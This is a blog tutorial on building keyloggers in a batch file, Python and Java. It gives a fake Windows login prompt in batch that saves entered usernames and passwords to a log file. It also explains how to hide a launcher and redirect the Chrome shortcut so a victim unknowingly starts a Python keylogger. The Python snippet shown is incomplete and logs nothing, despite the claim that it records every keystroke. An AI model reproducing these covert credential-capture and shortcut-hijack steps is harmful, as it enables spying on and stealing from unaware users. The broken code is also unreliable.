How To Make A Keylogger In Notepad, Python, Java (2019 Edition)

Record every single keystroke using a simple keylogger. I’ve shown the easiest way to make a keylogger in notepad and in Python, Java language.

Want to record keystrokes on a keyboard using a keylogger? It’s easy and requires decidedly fewer efforts. It is fascinating for me to try some ethical stuff on my PC for educational purpose. Keystroke logger is being used for both bad and good intentions. I’ve shown how to make a keylogger in notepad, Python, and In Java.

There are many cases where keyloggers are installed on the user’s computer without their permissions. Sick people are stealing data from thousands of compromised PCs. Keylogger made in notepad is very basic and works locally.

In this article, I’ve also shown the process to make it in Python and Java language. These languages are so powerful and offer full flexibility and dozens of features when creating a keystroke logger. Interested users should check out the process to make keylogger in Java & Python.

How To Make A Keylogger

There are three methods describes in this post. There’s no need to download any software or third-party utilities. Follow the steps and create well-functioning keystroke logger using your Windows or Linux computer.

How To Make A Keylogger In Notepad?

Notepad is a very basic text editor which comes along with all versions of Windows OS. Despite being an underrated text editor, we can use notepad to perform many useful tasks. Here are steps to make a keylogger in notepad:

  1. Open the notepad software in your computer.
  2. Now paste the following codes:
    @echo off
    color a
    title Login
    echo Please Computer User and Password To Continue
    cd "C:\Logs"
    set /p user=Username:
    set /p pass=Password:
    echo Username=”%user%” Password=”%pass%” >> Log.txt
    start >>Program Here<<
  3. Save it as a batch file in your computer.
  4. Click File>Save As and set file type to All, enter the name of the file as filename.bat and save it file as
  5. Open C drive, create a new folder and rename it to Logs.create logs folder
  6. Now, run your batch file, enter username and working keylogger
  7. Once you hit enter after entering username and password, all the details will be saved to Logs folder inside the C drive.logged information

It is the complete process to make a keylogger using notepad. The process is quite simple, and everyone can follow it.

But, the problem with the keystroke logger created using Notepad is that it’s fundamental. It works only when user open the batch file, and enters the credentials.

So, those who’re looking for a powerful keylogger, which works in the background, recording every single keystroke should check out the other two methods.

How To Make A Keylogger In Python

Python is a simple but powerful programming language. We can create a keylogger which works in the background and record every single keystroke. That’s why it’s suitable for almost all purposes. But, there are some steps which need to be taken before getting started.

To run a Python script on a computer, we need Python installed on it. We probably need to download and install a Python Development kit for this purpose.

Things you’ll need:

  • Python Development kit.
  • Python modules.
  • Internet connection if you don’t have Python Development kit.

Note: Video tutorial is attached after steps.

Here are the steps to make a keylogger using Python:

  1. Download the Python development kit from here (official website).
  2. Once the download is complete, launch the installer.
  3. Make sure you’ve checked both the options shown in the screenshot below.install python ide
  4. We now need to set environment variables, to do this, visit Advanced System Settings. So, right click on This PC>Properties>Advanced System Settings.set environment
  5. Select Environment Variables option.environment variables in windows
  6. Now, we need Python modules.
  7. Download PyWin32 and pyHook.
  8. Open the installers and install both modules.
  9. Open Python and create a new script, File>New File and paste the commands given below:
    import pyHook, pythoncom, sys, logging
    def onKeyboardEvent(event):
    return True
  10. Finally, Save the script as as python script
  11. We now need to activate the script.
  12. We’ll bind the script with a batch file, which will run a program and script at the same time.
  13. Open Notepad and paste the following codes:
    @echo off
    start "" "C:\test.pyw"
    start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
  14. You can see in the script that when the user opens that batch script, it’ll run Chrome and script at the same time.
  15. Save the batch file in secret location.
  16. Change the shortcut target to that batch script.change target
  17. When the user tries to open Chrome using the Desktop shortcut, it’ll launch the Python Keylogger and Chrome.exe at the same time.
  18. All the keystrokes will be saved in the desired location preferred in Python script.

I hope that you’re able to make a keylogger in Python. Steps are easy to follow, and I’ve simplified most steps to make it easier to follow. The advantage of Python keystroke logger is that it can record every single keystore of the keyboard.

Watch Video To Understand Better

How To Make A Keylogger In Java

Java is general-purpose programming language used to create software, apps, etc. We can create amazing stuff using Java. There are plenty of ways to make a keylogger in Java language. I’ve readen some articles and watched a few useful videos to give you the best and easy way to make a keylogger using Java.

This method is only recommended for the people who’ve basic knowledge of Java. Otherwise, it’ll become hard to understand and follow the steps. If you don’t know anything about this programming language, consider following Python method which is way easy.

Here’s the beautiful video tutorial which will guide you through all the steps.

Download Java Keylogger code from here.


Keylogger script becomes much useful when someone wants to track the user activities. This comes under the spyware category and misusing it isn’t a good idea. I’ve shown three methods with full details. You need to use them cleverly to start logging keystrokes from a device.

Those who are facing a problem when creating a keylogger, then you should drop a comment, and I’ll give a quick solution. Share the article with your friends if you found it useful.

Leave a Reply

Your email address will not be published. Required fields are marked *